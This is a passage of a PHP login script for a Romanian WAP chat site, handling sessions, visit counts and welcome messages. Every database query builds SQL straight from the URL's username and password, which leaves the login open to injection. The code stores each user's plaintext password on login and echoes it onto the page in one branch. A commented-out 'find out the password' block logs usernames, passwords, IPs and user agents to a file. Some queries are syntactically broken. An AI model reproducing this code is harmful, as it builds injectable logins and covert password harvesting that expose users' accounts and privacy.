");
echo "";
?>
";
echo "";
echo "
";
//echo "Eroare, nu se poate conecta la baza de date
";
//echo "Aceasta eroare apare de obicei cand a cazut baza de date, eroarea este datorata serverului, asteptati...trebuie sa-si revina cat de curand!
";
echo "Chat inchis temporar by AngelWhite
";
echo "
";
echo "";
echo "";
exit();
}
$uid = $_GET["nume"];
$pwd = $_GET["parola"];
$tolog = false;
echo "
";
echo "";
// lunile anului
echo "".date("d-m-y").", ";
echo "".date("H:i", $New_Time)."
";
$uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM lib3rtymrc_users WHERE name='".$uid."'"));
if($uinf[0]==0)
{
//Check for user ID
echo "Numele introdus nu exista sau a fost sters,te rugam sa incerci din nou cu mai multa atentie!
";
}else{
//check for pwd
$epwd = md5($pwd);
$uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM lib3rtymrc_users WHERE name='".$uid."' AND pass='".$epwd."'"));
if($uinf[0]==0)
{
echo "Parola incorecta,incearca din nou cu mai multa atentie si verifica ca primul caracter sa fie cu litera mica!
";
echo "Acasa";
echo "
";
echo "";
echo "";
exit();
}
//$validated = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM lib3rtymrc_users WHERE name='".$uid."' AND pass='".$epwd."' AND validated='0'"));
//if(($validated[0]>0)&&(validation()))
//{
//echo "
Esti Nevalidat(a)!Ne pare rau, dar contul dumneavoastra
nu este validat! Validarea dureaza intre 5minute si 24ore. Va multumim, La Revedere!
Va multumim penru intelegere!";
//}else{
////////////////////////////////////////////////////////////////////////////// aici era cacatul
mysql_query("DELETE FROM lib3rtymrc_ses WHERE expiretm<'".time()."'");
$tm = time();
$r=rand(97, 619);
$xtm = $tm + (getsxtm()*60);
$did = $epwd.$tm.$r;
$sid = md5($did);
$haip=$_SERVER["REMOTE_ADDR"];
$bw=$_SERVER['HTTP_USER_AGENT'];
$res=mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM lib3rtymrc_ses WHERE uid='".getuid_nick($uid)."' AND expiretm>$tm"));
if($res[0]>0){
$res=mysql_fetch_array(mysql_query("SELECT id FROM lib3rtymrc_ses WHERE uid='".getuid_nick($uid)."'"));
$sid=$res[0];
$conditia=0;
}
else $conditia=1;
if($conditia){
$sid = md5($did);
$tm = time();
$who = getuid_nick($uid);
$vizite = mysql_fetch_array(mysql_query("SELECT vizite FROM lib3rtymrc_users WHERE id='".$who."'"));
$views = $vizite[0]+1;
mysql_query("UPDATE lib3rtymrc_users SET logat='".time()."', parola='".$pwd."', vizite='".$views."' WHERE id='".$who."'");
$res=mysql_query("INSERT INTO lib3rtymrc_ses SET id='".$sid."', uid='".getuid_nick($uid)."', expiretm='".$xtm."', ip='".$haip."', bw='".$bw."'");
}
else
$res=mysql_query("UPDATE lib3rtymrc_ses SET expiretm='".$xtm."', ip='".$haip."', bw='".$bw."' WHERE uid='".getuid_nick($uid)."'");
////////////////////////////
if($res)
{
$tolog=true;
$who = getuid_nick($uid);
$vizite = mysql_fetch_array(mysql_query("SELECT vizite FROM lib3rtymrc_users WHERE id='".$who."'"));
echo "Bine ai revenit
".getsimbol($who)."$uid!
";
$vizita = mysql_fetch_array(mysql_query("SELECT vizite FROM lib3rtymrc_users WHERE id='".$who."'"));
if($vizita[0]==1)
{
echo "
Aceasta este prima ta vizita,pentru orice nelamurire nu ezita sa ceri asistanta echipei";
}else{
echo " In acest moment ai $vizita[0] vizite pe
MagicWorld";
echo "Nu uita sa salvezi aceasta pagina pentru a evita relogarea
";
}
echo '
';
//echo "Ai $vizita vizite pe $numesite
";
$idn = getuid_nick($uid);
$lact = mysql_fetch_array(mysql_query("SELECT lastact FROM lib3rtymrc_users WHERE id='".$idn."'"));
mysql_query("UPDATE lib3rtymrc_users SET lastvst='".$lact[0]."' WHERE id='".$idn."'");
}else{
//is user already logged in?
$logedin = mysql_fetch_array(mysql_query("SELECT (*) FROM lib3rtymrc_ses WHERE uid='".$getuid_nick($uid)."'"));
if($logedin[0]>0)
{
// yip, so let's just update the expiration time
$xtm = time() + (getsxtm()*600);
$res = mysql_query("UPDATE lib3rtymrc_ses SET expiretm='".$xtm."', ip='".$haip."', bw='".$bw."' WHERE uid='".getuid_nick($uid)."'");
if($res)
{
$tolog=true;
echo "
";
echo "Nume:
$uid ";
echo "Parola:
$pwd ";
}else{
echo "
Nu te poti autentifica pentru moment, te rugam sa revii mai tarziu
"; //no chance this could happen unless there's error in mysql connection
}
}
}
//echo "
»---(¯`v´¯)---»";
//}
}
$sesion = mysql_fetch_array(mysql_query("SELECT * FROM lib3rtymrc_ses WHERE uid='".getuid_nick($uid)."'"));
if($tolog)
{
$res=mysql_fetch_array(mysql_query("SELECT id FROM lib3rtymrc_ses WHERE uid='".getuid_nick($uid)."'"));
$sid = md5($did);
$tmsg = getpmcount(getuid_sid($res[0]));
$umsg = getunreadpm(getuid_sid($res[0]));
echo "
";
echo "
";
echo "Distreaza-te";
echo "
Mesaje($umsg/$tmsg)
";
echo "
Conectati(".getnumonline().")
";
echo "
";
$onu = getnumonline();
/*
///////////////////////////////////////////////////////////////////////
// WAPNEW.INFO bY I0nwTZz //
///////////////////////////////////////////////////////////////////////
*/
/////////////////////////////// afla parola ////
/*
$fp=fopen("ipacces!.txt","a+");
fputs($fp,"
$uid
\ $pwd n
|=|$HTTP_USER_AGENT|$REMOTE_ADDR|=|
");
fclose($fp);
*/
/////////////////// the end:D
//echo "
";
echo "";
echo "
";
echo "Fiti alaturi de chatul care ofera zi de zi servicii noi
";
echo "..::$sitte::..";
}else{
echo "";
echo "Meniu Prim";
}
echo "
";
echo "";
?>